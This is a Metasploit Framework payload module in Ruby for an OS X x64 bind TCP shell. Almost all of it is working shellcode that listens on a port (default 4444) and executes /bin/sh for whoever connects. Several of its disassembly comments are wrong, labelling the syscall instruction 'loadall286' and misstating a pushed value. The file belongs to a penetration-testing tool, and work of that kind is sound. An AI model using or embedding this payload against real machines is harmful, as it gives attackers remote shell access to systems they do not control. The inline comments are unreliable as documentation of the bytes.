##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'
require 'msf/core/handler/bind_tcp'

module Metasploit3

	include Msf::Payload::Single
	include Msf::Payload::Osx
	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'OS X x64 Shell Bind TCP',
			'Description'   => 'Bind an arbitrary command to an arbitrary port',
			'Author'        => 'nemo <nemo[at]felinemenace.org>',
			'License'       => MSF_LICENSE,
			'Platform'      => 'osx',
			'Arch'          => ARCH_X86_64,
			'Handler'       => Msf::Handler::BindTcp,
			'Session'       => Msf::Sessions::CommandShellUnix
		))

		# exec payload options
		register_options(
			[
				OptString.new('CMD',  [ true,  "The command string to execute", "/bin/sh" ]),
				Opt::LPORT(4444)
		], self.class)
	end

	# build the shellcode payload dynamically based on the user-provided CMD
	def generate
		cmd  = (datastore['CMD'] || '') << "\x00"
		port = [datastore['LPORT'].to_i].pack('n')
		call = "\xe8" + [cmd.length].pack('V')
		payload =
			"\xB8\x61\x00\x00\x02" +     # mov eax,0x2000061
			"\x6A\x02" +                 # push byte 0x1
			"\x5f" +                     # pop rdi
			"\x6A\x01" +                 # push byte 0x1
			"\x5e" +                     # pop rsi
			"\x48\x31\xD2" +             # xor rdx,rdx
			"\x0F\x05" +                 # loadall286
			"\x48\x89\xC7" +             # mov rdi,rax
			"\xB8\x68\x00\x00\x02" +     # mov eax,0x2000068
			"\x48\x31\xF6" +             # xor rsi,rsi
			"\x56" +                     # push rsi
			"\xBE\x00\x02" + port +      # mov esi,0xb3150200
			"\x56" +                     # push rsi
			"\x48\x89\xE6" +             # mov rsi,rsp
			"\x6A\x10" +                 # push 0x10
			"\x5A" +                     # pop rdx
			"\x0F\x05" +                 # loadall286
			"\xB8\x6A\x00\x00\x02" +     # mov eax,0x200006a
			"\x48\x31\xF6" +             # xor rsi,rsi
			"\x48\xFF\xC6" +             # inc rsi
			"\x49\x89\xFC" +             # mov r12,rdi
			"\x0F\x05" +                 # loadall286
			"\xB8\x1E\x00\x00\x02" +     # mov eax,0x200001e
			"\x4C\x89\xE7" +             # mov rdi,r12
			"\x48\x89\xE6" +             # mov rsi,rsp
			"\x48\x89\xE2" +             # mov rdx,rsp
			"\x48\x83\xEA\x04" +         # sub rdx,byte +0x4
			"\x0F\x05" +                 # loadall286
			"\x48\x89\xC7" +             # mov rdi,rax
			"\xB8\x5A\x00\x00\x02" +     # mov eax,0x200005a
			"\x48\x31\xF6" +             # xor rsi,rsi
			"\x0F\x05" +                 # loadall286
			"\xB8\x5A\x00\x00\x02" +     # mov eax,0x200005a
			"\x48\xFF\xC6" +             # inc rsi
			"\x0F\x05" +                 # loadall286
			"\x48\x31\xC0" +             # xor rax,rax
			"\xB8\x3B\x00\x00\x02" +     # mov eax,0x200003b
			call +                       # call CMD.len
			cmd +                        # CMD
			"\x48\x8b\x3c\x24" +         # mov rdi, [rsp]
			"\x48\x31\xD2" +             # xor rdx,rdx
			"\x52" +                     # push rdx
			"\x57" +                     # push rdi
			"\x48\x89\xE6" +             # mov rsi,rsp
			"\x0F\x05"                   # loadall286
	end
end
